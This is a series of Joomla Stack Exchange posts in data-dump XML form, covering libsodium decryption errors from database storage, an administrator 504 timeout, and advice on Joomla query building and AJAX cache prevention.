  <row Id="23034" PostTypeId="1" AcceptedAnswerId="23037" CreationDate="2018-06-20T10:08:50.730" Score="7" ViewCount="225" Body="&lt;p&gt;I've been implementing some encryption at rest in one of our Joomla components, but keep getting a couple of errors when de-crypting the values when they're written and read from a database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wrote a basic wrapper class for crypt...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * This class provides functions related to encryption&#xA; *&#xA; * @since  2.5&#xA; */&#xA;class crypt&#xA;{&#xA;&#xA;    public $cipher = FALSE;&#xA;&#xA;    public function __construct()&#xA;    {&#xA;&#xA;        # test private key&#xA;        $private_key_string = &quot;51111110024135111761721919212413&quot;;&#xA;        # test public key&#xA;        $public_key_string = &quot;76172191921241351111110024135111&quot;;&#xA;&#xA;        # get the cipher object&#xA;        $cipher = new JCryptCipherSodium;&#xA;        # generate a key&#xA;        $key = $cipher-&amp;gt;generateKey();&#xA;        # set the nonce&#xA;        $cipher-&amp;gt;setNonce(\Sodium\randombytes_buf(\Sodium\CRYPTO_BOX_NONCEBYTES));&#xA;&#xA;        # set the key values&#xA;        $key-&amp;gt;private = $private_key_string;&#xA;        $key-&amp;gt;public  = $public_key_string;&#xA;&#xA;        $this-&amp;gt;key = $key;&#xA;        $this-&amp;gt;cipher = $cipher;&#xA;        return TRUE;&#xA;    }&#xA;&#xA;    public function en($string){&#xA;        #echo  &quot;\n\nencrypt\n&quot;;&#xA;        $key = $this-&amp;gt;key;&#xA;        $encrypted = $this-&amp;gt;cipher-&amp;gt;encrypt($string, $key);&#xA;        #echo  &quot;encrypted: &quot; . $encrypted . &quot;\n&quot;;&#xA;        return $encrypted;&#xA;    }&#xA;&#xA;    public function de($string){&#xA;        #echo  &quot;\n\ndecrypt\n&quot;;&#xA;        $key = $this-&amp;gt;key;&#xA;        $decrypted = $this-&amp;gt;cipher-&amp;gt;decrypt($string, $key);&#xA;        #echo  &quot;decrypted: &quot; . $decrypted . &quot;\n&quot;;&#xA;        return $decrypted;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know this is not best practice, with keys, but I was just starting off as a proof of concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine with a simple encrypt then decrypt, like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register(&quot;crypt&quot;,&quot;cli/crypt_helper.php&quot;);      &#xA;&#xA;$crypt = new crypt();&#xA;$enc = $crypt-&amp;gt;en(&quot;hello world, how you doing&quot;);&#xA;$de = $crypt-&amp;gt;de($enc);&#xA;echo &quot;de: &quot; . $de . &quot;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but when I write to a database and read back, I get the errors mentioned above. So with code like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# database test&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;# Insert columns.&#xA;$columns = array('f1',);&#xA;# Insert values.&#xA;$values = array($db-&amp;gt;quote( $crypt-&amp;gt;en( $test_value ) ) );&#xA;# Prepare the insert query.&#xA;$query&#xA;    -&amp;gt;insert($db-&amp;gt;quoteName('#__piota_results'))&#xA;    -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;    -&amp;gt;values(implode(',', $values));&#xA;# Set the query using our newly populated query object and execute it.&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&#xA;# Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;# Order it by the ordering field.&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('f1')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__piota_results'));&#xA;$query-&amp;gt;order('id DESC');&#xA;$query-&amp;gt;setLimit('1');&#xA;# Reset the query using our newly populated query object.&#xA;$db-&amp;gt;setQuery($query);&#xA;# Load the results as a list of stdClass objects (see later for more options on retrieving data).&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;echo &quot;result: &quot; . $result . &quot;\n&quot;;&#xA;echo &quot;result: &quot; . $crypt-&amp;gt;de( $result ) . &quot;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried on two different systems, with slightly different errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System 1&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP 7.2.6&lt;/li&gt;&#xA;&lt;li&gt;Joomla! 3.8.8&lt;/li&gt;&#xA;&lt;li&gt;MariaDB 5.5.5-10.1.34 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;System 1 error message: &lt;em&gt;Invalid MAC&lt;/em&gt; this is, I think, coming from &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/9ae0742f28faa1d4b5d4ae4a84619f115ed3f9ea/libraries/vendor/paragonie/sodium_compat/src/Crypto.php#L1004&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/9ae0742f28faa1d4b5d4ae4a84619f115ed3f9ea/libraries/vendor/paragonie/sodium_compat/src/Crypto.php#L1004&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System 2&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP 7.2.6&lt;/li&gt;&#xA;&lt;li&gt;Joomla! 3.8.6&lt;/li&gt;&#xA;&lt;li&gt;MySQL 5.7.22&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;System 2 error message: &lt;em&gt;Argument 1 must be at least CRYPTO_BOX_MACBYTES long&lt;/em&gt; which is, I think, coming from &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/9ae0742f28faa1d4b5d4ae4a84619f115ed3f9ea/libraries/vendor/paragonie/sodium_compat/src/Compat.php#L1069&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/9ae0742f28faa1d4b5d4ae4a84619f115ed3f9ea/libraries/vendor/paragonie/sodium_compat/src/Compat.php#L1069&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database field is of the type &quot;longtext&quot; with collation &quot;utf8mb4_bin&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some reading, but since libsodium is quite new in Joomla, there is not so much docs or info on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using base64_encode and base64_decode in-case MySQL was making a mess of the data, but it was all the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/16754&quot; rel=&quot;noreferrer&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/16754&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/paragonie/sodium_compat&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/paragonie/sodium_compat&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/book.sodium.php&quot; rel=&quot;noreferrer&quot;&gt;http://php.net/manual/en/book.sodium.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...but with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas, thoughts or pointers would be greatly appreciated. Thanks ❤️&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I get this all working I'll try and write a wiki page on libsodium on &lt;a href=&quot;https://docs.joomla.org&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2018-06-20T16:24:59.750" Title="Errors de-crypting libsodium encrypted values from database" Tags="|joomla-3.x|component|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23036" PostTypeId="2" ParentId="23034" CreationDate="2018-06-20T16:19:28.943" Score="3" Body="&lt;p&gt;The error messages &lt;code&gt;Invalid MAC&lt;/code&gt; and &lt;code&gt;Argument 1 must be at least CRYPTO_BOX_MACBYTES long&lt;/code&gt; are definitely misleading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to try it for myself in order to find that both errors appear randomly based on the content of the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite what I expected, &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt; does NOT encode correctly the string returned by crypt. &lt;code&gt;base64_encode/decode&lt;/code&gt; are sufficient: see my whole code (I changed to the &lt;code&gt;#__banners&lt;/code&gt; table, for ease of testing)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$helperPath = dirname(__FILE__) .&quot;/crypt_helper.php&quot;;&#xA;JLoader::register(&quot;crypt&quot;,$helperPath);      &#xA;$test_value = 'the &amp;lt;b&amp;gt;quick brown fox jumps&amp;lt;/b&amp;gt; over the lazy dog&amp;lt;br&amp;gt;';&#xA;$crypt = new crypt();&#xA;&#xA;# database test&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$columns = array('name','params');&#xA;$values = array($db-&amp;gt;quote('test'), $db-&amp;gt;quote( &#xA;    base64_encode( $crypt-&amp;gt;en( $test_value ) )&#xA;    ));&#xA;&#xA;# Prepare the insert query.&#xA;$query&#xA;    -&amp;gt;insert($db-&amp;gt;quoteName('#__banners'))&#xA;    -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;    -&amp;gt;values(implode(',',$values));&#xA;# Set the query using our newly populated query object and execute it.&#xA;echo $query .'&amp;lt;br&amp;gt;'; &#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&#xA;# Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;# Order it by the ordering field.&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('params'));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__banners'));&#xA;$query-&amp;gt;order('id DESC');&#xA;$query-&amp;gt;setLimit('1');&#xA;# Reset the query using our newly populated query object.&#xA;$db-&amp;gt;setQuery($query);&#xA;# Load the results as a list of stdClass objects (see later for more options on retrieving data).&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;echo &quot;result: &quot; . $result . &quot;\n&quot;;&#xA;echo &quot;result: &quot; . $crypt-&amp;gt;de( base64_decode($result )) . &quot;\n&quot;;&#xA;&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These is the video output of the query, inserted and retrieved data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `#__banners`&#xA;(`name`,`params`) VALUES &#xA;('test','pKihow6a5Dfx/7p+dlGc5qOnBgOvoJ3+TcZu82sCQU/EWYxnsdxRiAJ6cjB2l433LlSOgTWT0i1Sn/uAWdy/hzwRlRUKaQ==')&#xA;&#xA;result: pKihow6a5Dfx/7p+dlGc5qOnBgOvoJ3+TcZu82sCQU/EWYxnsdxRiAJ6cjB2l433LlSOgTWT0i1Sn/uAWdy/hzwRlRUKaQ==&#xA;&#xA;result: the &amp;lt;b&amp;gt;quick brown fox jumps&amp;lt;/b&amp;gt; over the lazy dog&amp;lt;br&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 1:&lt;/strong&gt; any attempt without base64_encode fails. I tried it with 10 bytes or 1K of text and it works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 2:&lt;/strong&gt; &lt;code&gt;$db-&amp;gt;insertObject()&lt;/code&gt; is much easier to use than your approach, it handles the &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt; calls for you, &lt;strong&gt;but still requires base64_encode&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$object = new stdClass();&#xA;$object-&amp;gt;name = 'test';&#xA;$object-&amp;gt;params = base64_encode($crypt-&amp;gt;en( $test_value ));&#xA;$db-&amp;gt;insertObject('#__banners', $object);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="377" LastEditorUserId="377" LastEditDate="2018-06-20T16:24:59.750" LastActivityDate="2018-06-20T16:24:59.750" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23037" PostTypeId="2" ParentId="23034" CreationDate="2018-06-20T16:22:07.540" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This works fine with a simple encrypt then decrypt, like...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...but when I write to a database and read back, I get the errors mentioned above. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is actually expected behavior, because the nonce isn't being stored with the ciphertext. You can verify this by &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/6de2b00858e91bd64e7c410a6ed617d455f62d64/libraries/src/Crypt/Cipher/SodiumCipher.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;how SodiumCipher is defined&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try storing the nonce alongside the ciphertext and using it when decrypting. (Don't reuse nonces for multiple rows.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you &lt;strong&gt;will&lt;/strong&gt; want to encode before storing and decode after retrieving (as your question alluded to), using base64 or hex.&lt;/p&gt;&#xA;" OwnerUserId="12645" LastActivityDate="2018-06-20T16:22:07.540" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23038" PostTypeId="1" AcceptedAnswerId="28343" CreationDate="2018-06-20T19:28:22.293" Score="0" ViewCount="1682" Body="&lt;p&gt;I have a Joomla! 3.8 site that is running fine on the front-end. However, when I try to access &lt;code&gt;/administrator/&lt;/code&gt; I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ERROR 504 - GATEWAY TIMEOUT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing new in &lt;code&gt;/administrator/error_log&lt;/code&gt;. However, in the &lt;code&gt;error_log&lt;/code&gt; of the root directory, there is this log hundreds of times:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[20-Jun-2018 11:00:40 America/Chicago] PHP Warning:  require_once(/home7/userfolder/public_html/libraries/joomla/document/html/renderer/head.php): failed to open stream: No such file or directory in /home7/userfolder/public_html/templates/consultpress/error.php on line 42&#xA;[20-Jun-2018 11:00:40 America/Chicago] PHP Fatal error:  require_once(): Failed opening required '/home7/userfolder/public_html/libraries/joomla/document/html/renderer/head.php' (include_path='.:/opt/php70/lib/php') in /home7/userfolder/public_html/templates/consultpress/error.php on line 42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Line 42:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_LIBRARIES.'/joomla/document/html/renderer/head.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this related to the &lt;strong&gt;ERROR 504&lt;/strong&gt;? If not, what could be the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've contacted the host (BlueHost) and they assure me it is a Joomla! issue. Any help?&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2020-08-05T07:28:59.837" Title="&quot;ERROR 504 - GATEWAY TIMEOUT&quot; in Joomla! 'Administrator' Only" Tags="|joomla-3.x|administrator|fatal-error|hosting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23039" PostTypeId="2" ParentId="23033" CreationDate="2018-06-20T20:27:42.283" Score="0" Body="&lt;p&gt;First, you'll need a way to discriminate amongst the various &lt;code&gt;&amp;lt;a&lt;/code&gt; tags, we'll add to the url an extra parameter named &lt;code&gt;filename&lt;/code&gt;, so if the link looks like: &lt;code&gt;/mypage&lt;/code&gt; will become &lt;code&gt;/mypage?filename=test&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the page will be loaded by Joomla ignoring the extra parameter, but it will still show in the url. Now your script can decode it check &lt;a href=&quot;https://stackoverflow.com/questions/979975/how-to-get-the-value-from-the-get-parameters#1099670&quot;&gt;this post&lt;/a&gt; out or any other search for 'get url params'&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="377" LastActivityDate="2018-06-20T20:27:42.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23040" PostTypeId="1" AcceptedAnswerId="23048" CreationDate="2018-06-21T04:05:48.830" Score="0" ViewCount="55" Body="&lt;p&gt;I am working on a project similar to &lt;a href=&quot;https://flippa.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;filippa.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the process of registering a website, the user will input her/his web id, something like &lt;code&gt;XX-XXXX-X&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to implement a plugin in my item view override to get the website analytics from Google Analytics.&lt;/p&gt;&#xA;" OwnerUserId="12646" LastEditorUserId="12352" LastEditDate="2019-07-08T07:43:04.893" LastActivityDate="2019-07-08T07:43:04.893" Title="How to get Google Analytics using user provided web id?" Tags="|plugin|overrides|google-analytics|" AnswerCount="1" CommentCount="0" ClosedDate="2019-07-10T16:28:39.903" ContentLicense="CC BY-SA 4.0" />
  <row Id="23041" PostTypeId="2" ParentId="9540" CreationDate="2018-06-21T05:56:41.980" Score="1" Body="&lt;p&gt;I was going to curb my urge to post after a working solution was accepted, but I later decided that there is value in explaining how the query building process can be altered to improve code readability, intent, brevity, and (to an unnoticeable degree) performance while maintaining security/functionality.  I am also going to bake in a few suggestions that are solely a matter of personal coding preference.  I just want to say, in advance, that Rene's answer is secure and completely functional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I might code up the query and then why:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$anid = &quot;animal's string&quot;;  // hypothetical&#xA;$emptyDate = &quot;2018-06-21&quot;;  // hypothetical&#xA;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&#xA;                    array(&#xA;                        &quot;c.event&quot;,&#xA;                        &quot;b.date&quot;,&#xA;                        &quot;b.type&quot;,&#xA;                        &quot;a.mob&quot;,&#xA;                        &quot;a.joined&quot;,&#xA;                        $db-&amp;gt;qn(&quot;a.left&quot;)&#xA;                    )&#xA;                )&#xA;                -&amp;gt;from(&quot;app_mob_animal a&quot;)&#xA;                -&amp;gt;innerJoin(&quot;app_event_animal b ON a.mob = b.mob&quot;)&#xA;                -&amp;gt;innerJoin(&quot;app_events c ON b.event = c.id&quot;)&#xA;                -&amp;gt;innerJoin(&quot;app_mob d ON a.mob = d.id&quot;)&#xA;                -&amp;gt;where(&#xA;                    array(&#xA;                        &quot;a.joined &amp;lt;= b.date&quot;,&#xA;                        &quot;a.animal = &quot; . $db-&amp;gt;q($anid)&#xA;                    )&#xA;                )&#xA;                -&amp;gt;andWhere(&#xA;                    array(&#xA;                        $db-&amp;gt;qn(&quot;a.left&quot;) . &quot; &amp;gt;= b.date&quot;,&#xA;                        $db-&amp;gt;qn(&quot;a.left&quot;) . &quot; = &quot; . $db-&amp;gt;q($emptyDate)&#xA;                    ),&#xA;                    &quot;OR&quot;&#xA;                );&#xA;    echo $query-&amp;gt;dump();&#xA;    $db-&amp;gt;setQuery($query);&#xA;    if (!$result = $db-&amp;gt;loadAssocList()) {  // declare variable and check for empty array&#xA;        echo &quot;&amp;lt;div&amp;gt;No Qualifying Rows&amp;lt;/div&amp;gt;&quot;;&#xA;    } else {&#xA;        foreach ($result as $row) {&#xA;            // ... do what you like with $row['event'] etc.  (table names/alias are omitted from the resultset keys)&#xA;        }&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo &quot;&amp;lt;div&amp;gt;Syntax error, please contact the developer&amp;lt;/div&amp;gt;&quot;;&#xA;    // echo $e-&amp;gt;getMessage();  // &amp;lt;-- not to be displayed publicly&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the rendered query (from &lt;code&gt;-&amp;gt;dump()&lt;/code&gt;) which delivers the intended query logic:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SELECT c.event,b.date,b.type,a.mob,a.joined,`a`.`left`&lt;br&gt;&#xA;  FROM app_mob_animal a&lt;br&gt;&#xA;  INNER JOIN app_event_animal b ON a.mob = b.mob&lt;br&gt;&#xA;  INNER JOIN app_events c ON b.event = c.id&lt;br&gt;&#xA;  INNER JOIN app_mob d ON a.mob = d.id&lt;br&gt;&#xA;  WHERE&lt;br&gt;&#xA;  (a.joined &amp;lt;= b.date AND a.animal = 'animal\'s string') AND&lt;br&gt;&#xA;  (`a`.`left` &gt;= b.date OR `a`.`left` = '2018-06-19')&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Explanations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;SELECT&lt;/code&gt; clause columns are in array form but can just as simply be written as a single string of comma-separated values.  Only the &lt;code&gt;left&lt;/code&gt; column name &lt;em&gt;NEEDS&lt;/em&gt; to be backtick-wrapped -- this can be done safely with hardcoded backticks or with a &lt;code&gt;qn()&lt;/code&gt; call.&lt;/li&gt;&#xA;&lt;li&gt;To sum up &lt;a href=&quot;https://stackoverflow.com/a/11321508/2943403&quot;&gt;this credible reference&lt;/a&gt;, only table names, column names, and aliases (let's call them &quot;database entities&quot;) that satisfy one or more of the following conditions &lt;strong&gt;MUST&lt;/strong&gt; be backtick-wrapped:&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;contains whitespace characters&lt;/li&gt;&#xA;&lt;li&gt;contains characters outside of this whitelist: Latin letters, digits, underscore, dollarsign&lt;/li&gt;&#xA;&lt;li&gt;contains &lt;a href=&quot;https://dev.mysql.com/doc/refman/5.5/en/keywords.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;MySQL &lt;strong&gt;Reserved&lt;/strong&gt; Keywords&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Given the above criteria, it is advisable to design your table and column names to contain only Latin letters, digits, underscores, and dollarsign AND avoid using Reserved words. Furthermore, it would clarify coding intent to avoid using the non-reserved words too.  In the original post, &lt;code&gt;left&lt;/code&gt; is a reserved word.  &lt;code&gt;event&lt;/code&gt;, &lt;code&gt;date&lt;/code&gt;, and &lt;code&gt;type&lt;/code&gt; are MySQL keywords, but not reserved.  IMO, eliminating function calls that provide no benefit is a good coding habit.&lt;/li&gt;&#xA;&lt;li&gt;Writing entities in all lowercase and MySQL words in all uppercase is a terrific way to instantly differentiate between entities and MySQL functions/reserved words.&lt;/li&gt;&#xA;&lt;li&gt;I am using &lt;code&gt;qn()&lt;/code&gt; as shorthand for &lt;code&gt;quoteName()&lt;/code&gt;, &lt;code&gt;q()&lt;/code&gt; for &lt;code&gt;quote()&lt;/code&gt;, and &lt;code&gt;innerJoin()&lt;/code&gt; for &lt;code&gt;join(&quot;INNER&quot;,...)&lt;/code&gt; for brevity.&lt;/li&gt;&#xA;&lt;li&gt;I don't like to use multiple &lt;code&gt;where()&lt;/code&gt; calls in a single query, because it is too much of a departure from raw query construction.  You see, each new &lt;code&gt;innerJoin()&lt;/code&gt; writes a new &lt;code&gt;INNER JOIN&lt;/code&gt; line, but repeated &lt;code&gt;where()&lt;/code&gt; calls just extend the single clause.  I am using &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html#method_andWhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;andWhere()&lt;/a&gt; not only for the &quot;inner glue&quot; parameter (&lt;code&gt;OR&lt;/code&gt;) but also because it wraps its expressions in parentheses, and forces the initial &lt;code&gt;where()&lt;/code&gt; expressions to be wrapped in parentheses to isolate the logical grouping.  If you wish to write multiple expressions into a &lt;code&gt;where()&lt;/code&gt; (or &lt;code&gt;select()&lt;/code&gt;) call, then I recommend feeding it an &lt;code&gt;array()&lt;/code&gt; of conditions.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;IMPORTANTLY&lt;/strong&gt; There are two uses of &lt;code&gt;LIKE&lt;/code&gt; in the original query, but they are not being used to perform a partial match. I don't know if this was a coincidence or a misconception about how to compare a column and a string, but this is not best practice and may confuse future researchers.  If your logic is to make a full string match, then use the &lt;code&gt;=&lt;/code&gt; comparison operator. If your logic is to make a partial match, then use &lt;code&gt;LIKE&lt;/code&gt; with a string that includes &lt;code&gt;_&lt;/code&gt; or &lt;code&gt;%&lt;/code&gt;. See this guide to Joomla Documentation &lt;a href=&quot;https://joomla.stackexchange.com/a/22712/12352&quot;&gt;recommended syntax&lt;/a&gt; for quoting a variable in your &lt;code&gt;LIKE&lt;/code&gt; expression.&lt;/li&gt;&#xA;&lt;li&gt;Finally, if anyone prefers the &quot;syntactic sugar&quot; of &lt;code&gt;AS&lt;/code&gt; between tables/columns and their respective aliases, by all means use it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-09-30T13:42:34.300" LastActivityDate="2019-09-30T13:42:34.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23042" PostTypeId="2" ParentId="9021" CreationDate="2018-06-21T06:49:06.937" Score="0" Body="&lt;p&gt;My first concern is always security, &lt;code&gt;add_slashes()&lt;/code&gt; is &lt;a href=&quot;http://php.net/manual/en/function.addslashes.php#98488&quot; rel=&quot;nofollow noreferrer&quot;&gt;an inadequate function to call to protect your query&lt;/a&gt;. I would urge you to implement the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla query methods&lt;/a&gt; to build your queries and read about &lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla's Security Recommendations&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree with the other volunteers that this is likely to be a matter of caching and that MySQL is not likely the culprit in your issue.  If MySQL was having trouble you, could find some evidence in the error logs or write your php file to return some informative feedback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To offer greater specificity on the commented advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add a random or time-based querystring to the url/page that is receiving your submitted data so that never will you have two duplicate urls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url:&quot;/models/ajax.php?unique=&quot; + Math.random(),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url:&quot;/models/ajax.php?unique=&quot; + +new Date();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, you don't actually need to &lt;em&gt;use&lt;/em&gt; &lt;code&gt;$_GET['unique']&lt;/code&gt; on the receiving page, this is merely being used as a unique identifier to prevent caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work or you wish to &quot;double-down&quot; on cache-prevention, then you can also write &lt;code&gt;header(&quot;Cache-Control: no-cache, must-revalidate&quot;)&lt;/code&gt; at the very top of your receiving php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond all of that, Joomla has some guides on &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;developing an ajax interface&lt;/a&gt; which are intended to improve security and make coding simpler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as far as your raw php validation condition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($step) &amp;amp;&amp;amp; !empty($step) &amp;amp;&amp;amp; trim($step) != &quot;&quot;){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That can be rewritten as &lt;code&gt;if (!empty($step) &amp;amp;&amp;amp; trim($step) != &quot;&quot;) {&lt;/code&gt; because &lt;code&gt;!empty()&lt;/code&gt; checks for existence (making &lt;code&gt;isset()&lt;/code&gt; redundant) AND checks for a non-false-y value.  If you have a more narrow expectation of the &lt;code&gt;$step&lt;/code&gt; value, then I would advise that you perform stronger validation at this location in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the capabilities of your project interface, but if several subsequent submissions (ajax calls) are likely, perhaps you could re-design the form to allow multiple sets of data to be delivered in a single batch.  By minimizing the total ajax calls, you minimize the number of times that a db connection will have to be opened and closed -- this is best practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For greater peace-of-mind, you could return a more detailed explanation of the values sent and how many rows were affected.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-06-21T07:20:15.237" LastActivityDate="2018-06-21T07:20:15.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
